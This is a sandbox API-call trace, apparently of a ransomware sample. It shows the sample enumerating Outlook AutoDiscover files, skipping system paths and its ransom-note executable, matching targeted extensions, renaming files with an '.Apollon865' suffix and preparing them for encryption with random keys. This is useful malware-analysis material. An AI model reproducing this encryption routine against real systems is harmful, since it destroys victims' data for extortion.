	[0069.985] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.985] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.985] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.986] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.987] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.988] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.988] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.988] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.989] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.989] CloseHandle (hObject=0x118) returned 1
	[0069.989] CloseHandle (hObject=0xc0) returned 1
	[0069.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.990] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.CO.ID.XML", cAlternateFileName="YA6C44~1.XML")) returned 1
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2=".") returned 1
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2="..") returned 1
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2="windows") returned 1
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2="bootmgr") returned 1
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2="temp") returned 1
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2="pagefile.sys") returned 1
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2="boot") returned 1
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2="ids.txt") returned 1
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2="ntuser.dat") returned 1
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2="perflogs") returned 1
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2="MSBuild") returned 1
	[0069.990] lstrlenW (lpString="YAHOO.CO.ID.XML") returned 15
	[0069.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML") returned 75
	[0069.990] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.CO.ID.XML" | out: lpString1="YAHOO.CO.ID.XML") returned="YAHOO.CO.ID.XML"
	[0069.990] lstrlenW (lpString="YAHOO.CO.ID.XML") returned 15
	[0069.990] lstrlenW (lpString="Apollon865") returned 10
	[0069.990] lstrcmpiW (lpString1=".CO.ID.XML", lpString2="Apollon865") returned -1
	[0069.990] lstrlenW (lpString=".dll") returned 4
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2=".dll") returned 1
	[0069.990] lstrlenW (lpString=".lnk") returned 4
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2=".lnk") returned 1
	[0069.990] lstrlenW (lpString=".ini") returned 4
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2=".ini") returned 1
	[0069.990] lstrlenW (lpString=".sys") returned 4
	[0069.990] lstrcmpiW (lpString1="YAHOO.CO.ID.XML", lpString2=".sys") returned 1
	[0069.990] lstrlenW (lpString="YAHOO.CO.ID.XML") returned 15
	[0069.990] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML.Apollon865") returned 89
	[0069.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0069.992] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=810) returned 1
	[0069.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0069.992] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0069.993] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.993] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.993] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0069.994] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0069.995] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0069.996] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.996] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0069.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.996] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.996] CloseHandle (hObject=0x118) returned 1
	[0069.996] CloseHandle (hObject=0xc0) returned 1
	[0069.997] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.997] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0069.997] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.997] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.CO.IN.XML", cAlternateFileName="YA8E91~1.XML")) returned 1
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2=".") returned 1
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2="..") returned 1
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2="windows") returned 1
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2="bootmgr") returned 1
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2="temp") returned 1
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2="pagefile.sys") returned 1
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2="boot") returned 1
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2="ids.txt") returned 1
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2="ntuser.dat") returned 1
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2="perflogs") returned 1
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2="MSBuild") returned 1
	[0069.997] lstrlenW (lpString="YAHOO.CO.IN.XML") returned 15
	[0069.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML") returned 78
	[0069.997] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.CO.IN.XML" | out: lpString1="YAHOO.CO.IN.XML") returned="YAHOO.CO.IN.XML"
	[0069.997] lstrlenW (lpString="YAHOO.CO.IN.XML") returned 15
	[0069.997] lstrlenW (lpString="Apollon865") returned 10
	[0069.997] lstrcmpiW (lpString1=".CO.IN.XML", lpString2="Apollon865") returned -1
	[0069.997] lstrlenW (lpString=".dll") returned 4
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2=".dll") returned 1
	[0069.997] lstrlenW (lpString=".lnk") returned 4
	[0069.997] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2=".lnk") returned 1
	[0069.997] lstrlenW (lpString=".ini") returned 4
	[0069.998] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2=".ini") returned 1
	[0069.998] lstrlenW (lpString=".sys") returned 4
	[0069.998] lstrcmpiW (lpString1="YAHOO.CO.IN.XML", lpString2=".sys") returned 1
	[0069.998] lstrlenW (lpString="YAHOO.CO.IN.XML") returned 15
	[0069.998] lstrlenW (lpString="bak") returned 3
	[0069.998] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.998] lstrlenW (lpString="ba_") returned 3
	[0069.998] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.998] lstrlenW (lpString="dbb") returned 3
	[0069.998] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.998] lstrlenW (lpString="vmdk") returned 4
	[0069.998] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.998] lstrlenW (lpString="rar") returned 3
	[0069.998] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.998] lstrlenW (lpString="zip") returned 3
	[0069.998] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.998] lstrlenW (lpString="tgz") returned 3
	[0069.998] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.998] lstrlenW (lpString="vbox") returned 4
	[0069.998] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.998] lstrlenW (lpString="vdi") returned 3
	[0069.998] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.998] lstrlenW (lpString="vhd") returned 3
	[0069.998] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.998] lstrlenW (lpString="vhdx") returned 4
	[0069.998] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.998] lstrlenW (lpString="avhd") returned 4
	[0069.998] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.999] lstrlenW (lpString="db") returned 2
	[0069.999] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.999] lstrlenW (lpString="db2") returned 3
	[0069.999] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.999] lstrlenW (lpString="db3") returned 3
	[0069.999] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.999] lstrlenW (lpString="dbf") returned 3
	[0069.999] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.999] lstrlenW (lpString="mdf") returned 3
	[0069.999] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.999] lstrlenW (lpString="mdb") returned 3
	[0069.999] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.999] lstrlenW (lpString="sql") returned 3
	[0069.999] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.999] lstrlenW (lpString="sqlite") returned 6
	[0069.999] lstrcmpiW (lpString1="IN.XML", lpString2="sqlite") returned -1
	[0069.999] lstrlenW (lpString="sqlite3") returned 7
	[0069.999] lstrcmpiW (lpString1=".IN.XML", lpString2="sqlite3") returned -1
	[0069.999] lstrlenW (lpString="sqlitedb") returned 8
	[0069.999] lstrcmpiW (lpString1="O.IN.XML", lpString2="sqlitedb") returned -1
	[0069.999] lstrlenW (lpString="xml") returned 3
	[0069.999] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.999] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML.Apollon865") returned 89
	[0069.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.001] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=810) returned 1
	[0070.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.001] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.002] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.002] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.002] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.003] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.004] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.004] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.004] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0070.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0070.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.005] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.005] CloseHandle (hObject=0x118) returned 1
	[0070.005] CloseHandle (hObject=0xc0) returned 1
	[0070.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.006] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a900, ftCreationTime.dwHighDateTime=0x1c6ea7d, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a900, ftLastWriteTime.dwHighDateTime=0x1c6ea7d, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.CO.JP.XML", cAlternateFileName="YAHOOC~3.XML")) returned 1
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2=".") returned 1
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2="..") returned 1
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2="windows") returned 1
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2="bootmgr") returned 1
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2="temp") returned 1
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2="pagefile.sys") returned 1
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2="boot") returned 1
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2="ids.txt") returned 1
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2="ntuser.dat") returned 1
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2="perflogs") returned 1
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2="MSBuild") returned 1
	[0070.006] lstrlenW (lpString="YAHOO.CO.JP.XML") returned 15
	[0070.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML") returned 78
	[0070.006] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.CO.JP.XML" | out: lpString1="YAHOO.CO.JP.XML") returned="YAHOO.CO.JP.XML"
	[0070.006] lstrlenW (lpString="YAHOO.CO.JP.XML") returned 15
	[0070.006] lstrlenW (lpString="Apollon865") returned 10
	[0070.006] lstrcmpiW (lpString1=".CO.JP.XML", lpString2="Apollon865") returned -1
	[0070.006] lstrlenW (lpString=".dll") returned 4
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2=".dll") returned 1
	[0070.006] lstrlenW (lpString=".lnk") returned 4
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2=".lnk") returned 1
	[0070.006] lstrlenW (lpString=".ini") returned 4
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2=".ini") returned 1
	[0070.006] lstrlenW (lpString=".sys") returned 4
	[0070.006] lstrcmpiW (lpString1="YAHOO.CO.JP.XML", lpString2=".sys") returned 1
	[0070.006] lstrlenW (lpString="YAHOO.CO.JP.XML") returned 15
	[0070.006] lstrlenW (lpString="bak") returned 3
	[0070.006] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.006] lstrlenW (lpString="ba_") returned 3
	[0070.006] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.006] lstrlenW (lpString="dbb") returned 3
	[0070.007] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.007] lstrlenW (lpString="vmdk") returned 4
	[0070.007] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.007] lstrlenW (lpString="rar") returned 3
	[0070.007] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.007] lstrlenW (lpString="zip") returned 3
	[0070.007] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.007] lstrlenW (lpString="tgz") returned 3
	[0070.007] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.007] lstrlenW (lpString="vbox") returned 4
	[0070.007] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.007] lstrlenW (lpString="vdi") returned 3
	[0070.007] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.007] lstrlenW (lpString="vhd") returned 3
	[0070.007] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.007] lstrlenW (lpString="vhdx") returned 4
	[0070.007] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.007] lstrlenW (lpString="avhd") returned 4
	[0070.007] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.007] lstrlenW (lpString="db") returned 2
	[0070.007] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.007] lstrlenW (lpString="db2") returned 3
	[0070.007] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.007] lstrlenW (lpString="db3") returned 3
	[0070.007] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.007] lstrlenW (lpString="dbf") returned 3
	[0070.007] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.007] lstrlenW (lpString="mdf") returned 3
	[0070.007] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.007] lstrlenW (lpString="mdb") returned 3
	[0070.007] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.007] lstrlenW (lpString="sql") returned 3
	[0070.007] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.007] lstrlenW (lpString="sqlite") returned 6
	[0070.007] lstrcmpiW (lpString1="JP.XML", lpString2="sqlite") returned -1
	[0070.007] lstrlenW (lpString="sqlite3") returned 7
	[0070.007] lstrcmpiW (lpString1=".JP.XML", lpString2="sqlite3") returned -1
	[0070.008] lstrlenW (lpString="sqlitedb") returned 8
	[0070.008] lstrcmpiW (lpString1="O.JP.XML", lpString2="sqlitedb") returned -1
	[0070.008] lstrlenW (lpString="xml") returned 3
	[0070.008] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.008] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML.Apollon865") returned 89
	[0070.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml.apollon865"), dwFlags=0x1) returned 1
